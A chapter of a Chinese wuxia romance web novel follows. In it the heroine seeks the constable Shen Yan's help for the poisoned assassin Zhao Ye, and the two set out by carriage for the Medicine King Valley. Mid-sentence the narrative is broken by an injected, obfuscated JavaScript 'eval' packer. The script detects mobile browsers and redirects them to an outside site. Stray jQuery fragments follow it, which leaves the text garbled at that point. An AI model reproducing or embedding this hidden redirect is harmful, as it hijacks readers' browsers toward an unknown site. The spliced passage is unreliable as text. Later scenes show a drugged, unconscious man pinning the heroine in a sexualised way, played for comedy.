.
褚羽这一夜睡得极不安稳。
梦境光怪陆离,前半段尽是些与照野纠缠的旖旎画面,热得她浑身沁汗。可后半夜,梦境陡然变得粘稠滚烫,像被架在火上烤。但很快,又越来越冷,如坠入冰窟。但白日一整天的刺激和劳累死死压着她的眼皮,直到第二日阳光照进客栈,才艰难睁开眼。
然后,她破天荒发现——照野没起,
那惯常天不亮就催他的人此刻还躺在身侧。手搭在她身上,却比往日沉重百倍。
褚羽心一沉,残存的睡意瞬间惊飞,几乎是弹坐起来,转身就对上一张泛着不正常潮红的脸。那个永远眼观六路耳听八方的男人,此刻眉头紧锁成川字,唇色透着种死气沉沉的灰败,连呼吸都带着杂音。
“照野?”
她颤声唤他,指尖轻轻触碰他的脸颊。
没有回应,指尖传来的温度滚烫得吓人。昨夜还强势禁锢她的手臂,此刻无力地垂在榻边,腕间浮现出诡异的青紫色纹路。
褚羽一把掀开锦被,只见照野后背的绷带已被紫黑色的血渍浸透。
噬心蛊?
她的第一反应。
但不对,他绝不会在这种事上失算,日子也远未到发作之时。是毒。而且是极其霸道、极其阴狠的,竟能瞒过照野这样顶尖高手的五感警觉,在他毫无察觉间侵入肺腑。
褚羽压下恐惧,飞速爬起来去摸照野的衣领。
暗天盟杀手随身携带有不少药,毒药、解药,吊命的药……褚羽都认识,她飞快挑出几颗解毒丹,撬开照野紧咬的牙关硬塞进去。
然而,一刻钟过去,毫无起色。
照野的体温不降反升,呼吸越发灼热急促,腕间的青紫纹路甚至向上蔓延了几分。
褚羽的心彻底沉了下去。这毒不仅诡异,竟连暗天盟的特制解药都束手无策。
她第一反应是找雷煜,找霹雳堂求助。可是他们如今在昭京,霹雳堂最近的核心分舵在青州临安城,中间相距近千里。且金玉楼那万两黄金的通缉令,此刻恐怕已贴满了昭京的大街小巷,她只怕还没踏进任何一家霹雳堂据点的大门,就会被无数眼睛盯上。
下一刻,褚羽突然抬头,目光死死钉向远处城墙里那威严耸立的建筑———六扇门。
沈砚。
那个昨日刚被照野警告要远离的总捕头,就在那里。
朝廷是悬在江湖人头上的利刃,沈砚作为六扇门总捕头,职责就是维持江湖与朝廷的微妙平衡。他与暗天盟虽非死敌,却也绝非同道。
会是他下的毒吗?
褚羽脑中念头飞转。照野是暗天盟的刀,杀过的人里难保没有朝廷重要的人。但若是朝廷真要动手,大可调动高手围剿,何必用这等阴私手段?朝廷要的是震慑江湖、铲除异己,而非单单毒杀一个杀手组织的左使。
更可能是金玉楼。那些人恨她入骨,更恨照野横插一脚坏其好事。用毒暗杀,本就是那些见不得光的老鼠最擅长的手段!
可现在纠结是谁下的毒没用。她孤立无援,连老天爷都不眷顾。穿越时除了那身衣服,就只有那个该死的蓝色小盒子!没有现代药物,没有防身武器,仿佛那个操控她穿越的存在,有着某种恶趣味般的癖好!
褚羽气得想把幕后黑手揪出来痛打一顿。可指尖攥得发白,也只能硬生生忍住。
她还有什么?
她只有自己,和那些或许能引起朝廷兴趣的“东西”。
她不想暴露,不想将自己那些“奇技淫巧”暴露在王朝机器面前,那必将带来无穷无尽的麻烦。可当她回头,看到照野惨白的脸、灰败的唇……
没时间了犹豫了。
褚羽猛得闭眼。再睁开已做了决定。
她走到铜镜前,手指沾着胭脂水粉飞快地在脸上涂抹。不会易容,就只能将自己画得丑陋些。
灰扑扑的脸,两道歪斜的眉毛,再点上几颗显眼的痣。
不过片刻,镜中人已变成一个有些丑陋的乡下丫头,扔进人堆里绝不会有人多看第二眼的那种。
接着,她迅速换上客栈里最不起眼的粗布衣裳,将沈砚给的令牌贴身藏好,最后看了眼榻上昏迷的人,指尖在他滚烫的脸颊上轻轻碰了碰,转身拉开房门。
门外阳光正好,街上人来人往,一派热闹景象,却衬得褚羽心里越发冰凉。她低着头,缩着肩,刻意模仿着乡下姑娘的局促步态,混在人流里往六扇门的方向走。
刚拐过街角,就见几个穿着黑衣的汉子靠在墙根,扫视着过往行人。
大概是在照野身边呆久了,褚羽竟然一眼看穿了那人金玉楼的身份,甚至注意到了对方衣袍下隐约的武器轮廓。虽然心里慌,脚步却没乱。她放慢脚步,假装被路边摊贩的糖人吸引,低着头小声问价,余光却悄悄盯着观察四周。
等到确认自己没露出破绽后,褚羽才笑着买了东西离开摊位,继续往前走。
擦肩而过的瞬间,她甚至能闻到他们身上淡淡的血腥气,后背的冷汗唰地冒了出来,却硬是没敢回头,攥着刚买的糖人,不停往前走。
穿过两条街,六扇门那座威严的朱漆大门已在眼前。门口的侍卫腰佩绣春刀,一脸的严肃逼人。
褚羽深吸一口气,走上前,从怀里摸出那枚令牌,递了过去,恭恭敬敬道:“大人,我想求见沈总捕头。”
侍卫接过令牌仔细看了看,又上下打量了她几眼,眼中闪过疑惑。可令牌确实是沈捕头的,于是公事公办地侧身放行:“进去吧,往左拐,到值房等着。”
值房里很是忙碌,几个捕快正埋首整理卷宗,笔尖划过纸页的“沙沙”声不绝于耳。见她这副打扮,都停下笔,有些诧异。
“你找沈大人?”一个年轻捕快问,手里还握着笔。
“是。”褚羽低着头,“我有急事,必须见沈大人本人。”
一个年长些的捕快放下笔,端起桌上的茶喝了一口,耐心解释:“沈大人正在城西查案,今早接到报案,说是聚福赌坊昨晚出了事,牵扯到几位大员,怕是一时半会儿回不来。你有什么事,跟我们说也是一样的,都是六扇门的人,断不会敷衍你。”
褚羽咬着唇,态度却很坚决:“不行,这事我只能跟沈大人说。”
她知道照野的身份有多敏感,暗天盟第一杀手的名头,就是六扇门也未必能容。若是对普通捕快说了实情,难保不会有人为了邀功提前动手,到时候照野就真的没救了。她必须等沈砚,只能等他。
她沉默一瞬,突然从怀里一锭金子放在桌上。
离得最近的年轻捕头仿佛被烫到般后撤几步,神色惶恐:“姑娘你这可使不得!我们是官差,吃的是朝廷俸禄,哪有收贿的道理?快收起来!”
褚羽没说话,只是将金子往他面前推了推,随即“噗通”一声跪了下去,红着眼眶抬头看他,声音带着恰到好处的哽咽:“小哥,我知道这不合规矩,可我真的等不起了。我男人……我男人快死了,只有沈大人能救他。求你,帮我通传一声,哪怕让我在这儿等,我也认了。”
她知道这些捕快吃软不吃硬,更知道这最年轻的捕快最没有受过社会毒打,最容易生恻隐之心。
果然,那小哥顿时慌了手脚,急忙道:“你快起来!别跪!已经有人去通传了——不过沈大人那边案子正紧,怕是难……”
褚羽还是沉默,眼泪像断了线的珠子往下掉,就那么定定地看着他。
“哎!”年轻捕快终是没辙,挠了挠头,“我去!我亲自去找沈大人!你在这儿等着,我马上就把他喊来!”话落,他抓起桌上的腰牌,一阵风似冲了出去。
时间一分一秒过去,褚羽坐在屋内,冷汗刷刷直下。照野在等她,她甚至害怕就在这片刻之间,他就会永远闭上眼睛。
终于,一阵急促的脚步声传来,沈砚风尘仆仆地闯了进来,官服上还沾着尘土,显然是一路疾行赶回。看到屋中那个村姑打扮的女子正紧张地攥着衣袖,身子抖得厉害,他先是一愣,随即认出了那双藏在妆容下的眼睛。
“褚姑娘?”
听到呼唤,褚羽猛得抬头。
“求你,帮我。”
看到褚羽眼中那几乎要溢出来的惊恐,再联想到昨日她身边那个形影不离的煞星此刻不见踪影,沈砚立刻了然。
“他出事了?”
“是毒。很厉害的毒,暗天盟的药都没用。”褚羽重重点头。
沈砚没有半分迟疑,对身边心腹低声嘱咐:“备好吊命丹!”
知道褚羽脚程慢,他果断上前一步:“褚姑娘,事急从权,得罪了。”
话音未落,已经揽住褚羽的腰掠上屋檐,直奔客栈赶去。
风声呼啸,他能清晰地感受到怀中人慌乱急促的心跳,低头看去,她紧咬着下唇,脸色苍白,眼中是几乎要溢出来的绝望,那份全然的依赖和脆弱感,让沈砚心头莫名一滞,
“别怕,暗天盟第一席若是这么容易死,六扇门的通缉令早该撤了。”他鬼使神差地安慰。
“嗯。”褚羽攥紧他的袖子,答得心不在焉。
…….
赶回客栈,照野的情况更糟了。原本潮红的脸颊变得惨白如纸,呼吸微弱得像风中残烛,腕间的青紫色纹路已经爬过手肘,看着触目惊心。
“怎么样?”褚羽心提到了嗓子眼,声音都在发颤。
沈砚上前,手指搭上照野的脉搏,眉头瞬间紧锁成川字。
他迅速从怀中取出一个银盒,里面是长短不一的银针。手腕翻飞间,几道银光精准刺入照野几处大穴,可那紫黑色的毒素丝毫没有被逼出的迹象。
“是跗骨蛭。”沈砚声音凝重。
“跗骨蛭?”
褚羽从未听过这个名字。
“出自西域,阴损至极。需分多次、少量下入。初时毫无异状,如同跗骨之蛆潜藏体内,一旦积累到临界,或受到重创、内力紊乱时便会彻底爆发,侵蚀心脉,腐坏肌骨。”
沈砚一边解释,一边迅速从药瓶中倒出几粒赤红如血的丹丸,捏开照野的紧闭的下颌强行喂入,并用内力助其化开。
“下毒之人……必是他身边之人。”
褚羽如遭雷击。
她知道暗天盟内部争斗不休,想把照野从第一席拉下来的人更是不少,但能多次近身下毒于照野绝非等闲。
盟主?少盟主?
可怕的念头在她脑中疯狂撕扯。
沈砚的内力源源不断输入,配合那丹药,照野急促的呼吸似乎平缓了一丝,腕间蔓延的毒纹也诡异地停滞了片刻,但那骇人的高温和灰败的脸色根本没有好转。
做完这一切,沈砚额角已经渗出汗珠,显然消耗不小。
“沈某的丹药和内力只能暂时压制,延缓毒发侵蚀心脉的速度。最多….十二个时辰。”
“十二个时辰?!” 褚羽眼前发黑,“那怎么解?有没有解药?”
“天下能解此毒者,唯有药王谷。”沈砚收回手掌,调息着翻腾的内息,看着褚羽瞬间亮起的眼眸,下一句话又如冰水浇下,“但药王谷与暗天盟是百年世仇。”
“什么?”
褚羽欲哭无泪。江湖仇敌遍布也就罢了,怎么连避世百年的药王谷也能和暗天盟结仇?!
“我去!我送他去药王谷!求他们救人!”她突然喊。
沈砚深深凝视着她,提醒:“金玉楼万金悬赏,阎摩邪宗虎视眈眈,暗天盟内鬼暗箭难防。且药王谷地处西南群山深处,道路崎岖,关卡重重。以你二人如今状态……”
他未尽之言,是十死无生。
“我知道!” 褚羽打断他,“我知道很难,但我不能看着他死。沈大人,求你帮帮我,我什么都愿意给。”
沈砚沉默。
虽然之前答应过他们会给他们一次帮助,但他是六扇门总捕头,皇命在身,京城重要案子几乎全部由他在管,不可能放下一切护送一个朝廷眼中钉千里求医。
“沈某无法随行。且药王谷距昭京近千里,他…..等不到。” 他直言,几乎给照野判了死刑。
江湖上日行千里的高手或有,但背着暗天盟第一杀手还能抵达药王谷的?
绝无可能。
褚羽牙关紧闭,几乎要咬出血来。她突然抬头,眼中是破釜沉舟的决绝:“精钢炼铁法,天花防治法,稻谷改良术…….救他,我都给你!”
沈砚心头巨震,他毫不怀疑眼前这神秘少女拿得出这些惊世骇俗之物。每一件,都是足以震动朝野、泽被万民的国之重器。
极快的权衡后,他迅速招来心腹低语,后者随小心取来一个玉瓶。
“定魂丹,朝廷秘宝,可压制百毒,六扇门一共只有五粒,都在此了。每粒可压制一日,帮他拖够六日。”
他又递过两份文牒。
“这是身份凭证,沈某另派一名磐石境巅峰捕头护送,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314589|182925||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她熟悉西南地形,也算有些自保之力。六扇门确无更高阶的高手可遣,这已是极限。”
说到最后,他深深看了褚羽一眼:“你那些能力不到万不得已,莫要再显露。”
“谢谢。”褚羽差点给他哭出来,攥药瓶的手都在抖。
“马车和护卫已等在客栈后巷。”
沈砚上前,俯身欲抱起昏迷的照野。照野几乎是本能反击,一枚细小暗器射向沈砚咽喉。虽因中毒力道大减被沈砚偏头躲过,那份刻入骨髓的杀意令人心惊。
沈砚面不改色,果断出手点穴彻底制住他,将人抱起。
“没事。”
他垂眸看着怀中气息微弱却依旧凛冽如刀的男人,又瞥向一旁满心满眼只有这杀手的少女,心底无声叹息。曾几何时,他最是厌恶这等目无法纪的江湖凶徒,更遑论暗天盟中人。
如今……罢了,权当为了社稷。
.
.
客栈后巷,一辆半旧的青布马车旁伫立着一个身影。女子身着六扇门制式玄衣,腰悬雁翎刀,面容冷峻。正是六扇门最年轻的磐石境巅峰高手——云峥。
“大人。”女子抱拳行礼。
“云捕头。”沈砚将照野放入车厢,沉声叮嘱:“此去药王谷,护持褚姑娘与这位病人周全。以最快速度,六日内务必抵达。”
“属下明白。”云铮应道,目光冷静地扫过车厢内昏迷的男人。
沈砚点点头,转向褚羽,低声道:“云捕头是六扇门我之下武功最强之人。有她在,至少能护你们平安穿过大庆境内最险要的几处关隘。”
他没说之后如何,毕竟哪怕是朝廷也不能指使避世百年的药王谷。
褚羽用力点头,强忍着泪水。
“多谢。”
沈砚不再多言,退后一步。
云铮跃上车辕,利落地开始驾车。
褚羽已经钻进车厢,只见照野眉头紧锁,冷汗直冒。她刚伸出手,突然被他一把扣住手腕。
“褚......羽......”
昏迷的男人唇间溢出模糊的呓语,手上的力道却丝毫未减。
车辕上的云铮闻声回头。
隔着车帘缝隙,她清晰地看到那个传闻中杀人如麻被万金悬赏的暗天盟左使,即使昏迷也将那个娇小娘子禁锢在身侧。
云峥面无表情,眼神依旧无波。可内心却在疯狂尖叫:!!!这是什么?表面冷血杀手配娇软小美人?!这趟差事值了!
她清了清嗓子,尽量让声音听起来平静:“要我把他拽开吗?”
褚羽摇摇头,另一只手轻轻抚上照野紧绷的面容:“他只是在做噩梦......”
话音未落,照野突然一个翻身将她压在身下,右手成爪扣向她咽喉。
云铮动了,抬手就要攻击。
可没想到,那双手在触碰到那女子脖颈的时候竟生生卸去了力道。
而那被掐的褚羽没有丝毫惊慌,甚至伸手抚摸男人的脸,温声说着:“是我……我在这……”
男人瞳孔艰难聚焦,直到看清身下人的脸才彻底松开手,整个人向前栽去。
褚羽连忙伸出手,紧紧抱住他,拍着他的背安抚。
然而昏迷中的男人失去了所有意识,只剩下沉重的躯体和灼人的体温。他纹丝不动,甚至因为她的推搡收紧了手臂,将她更紧地箍在怀里。两人的身体严丝合.缝地贴在一起,他挤进她腿间,以一个极其暧昧且充满压迫感的姿势将人彻底禁锢在身下。
褚羽的脸开始红了。这姿势羞耻得让她头皮发麻,尤其是那日真实触摸过后,真是想想就……
云峥多看了两眼,然后极其“懂事”地转头,没有再问要不要帮忙推开。
褚羽没办法,只是靠自己小心推开照野,可下一瞬的感知却让她头皮发麻。
“!!!”
褚羽脑子里瞬间一片空白。
他……他……他怎么能?!
都这样了居然还能、还能这样?!这到底是什么鬼毒?难道还带那种效果?!
羞愤和恐惧交织,让她几乎想尖叫出声。可仅存的理智死死压住了这个冲动,不行,云峥就在外面!
她不敢想,如果让外面那个冷面女捕头看到车厢里是这般光景,看到传闻中杀人如麻的暗天盟左使正用这种羞耻的姿势压着她,还如此……如此……
一股热气直冲头顶,让褚羽恨不得立刻原地消失。挣扎不过,又没办法喊人帮忙,她只能跟雕塑一样一动不敢动,生怕再刺激他。
照野沉重的呼吸喷在她的颈侧,带着高热和痛苦的气息。他似乎也感受到了安心的气息和柔软,无意识狠狠蹭了她一下。
“褚姑娘?”
云峥清冷的声音透过车帘传来,她有些担心昏迷的杀手会真的伤了褚羽。
褚羽吓得魂飞魄散,结巴着答:“没事!云捕头!他、他就是……不太安稳……我没事!真的没事!”
她一边急急回答,一边用尽全身力气,试图在不惊动身上人的前提下,将自己的身体挪开一点。可男人的手臂和大腿如同铁箍,她的挣扎微弱得可怜,反而更像是一种无意识的撩拨。
她想骂他,想推开他,想狠狠咬他一口让他清醒点!可一抬眼,撞进他涣散痛苦、被欲.望和毒性双重折磨到近乎狂乱的眼眸里。
“照野……”她声音发抖,带着哭腔,不知是害怕还是别的什么。
听到她的呼唤,男人埋在她颈窝的脑袋小幅度动了动,然后用牙齿轻轻厮磨她的锁骨。
褚羽不敢吭声,欲哭无泪,只能认命地当“人形安抚玩偶”,任由他像个大狗子一样耍流.氓。
车厢外,云峥目视前方,专心戒备,只是耳根有那么一点点不易察觉的红。
啊啊啊这该死的占有欲!锁喉变亲亲!她回京就要写话本子,名字就叫《冷血杀手与他的小娇妻:病榻强制.爱》!
这一路上,云峥都没再打扰车厢里的两人,待到休整时,才故作冷淡地掀开车帘。纵使面瘫如她,在看见两人紧贴的姿势和褚羽满脖子暧昧的痕迹时也差点没控制住自己的表情。
嘶——
这牙印!这吻痕!不愧是无相境巅峰,这种程度都能来!
她拼命板着脸,生怕自己一个控制不住,会吓到羞愤欲死的褚羽,或者让这位无相境大佬醒来后觉得自己被冒犯了而灭口。
…….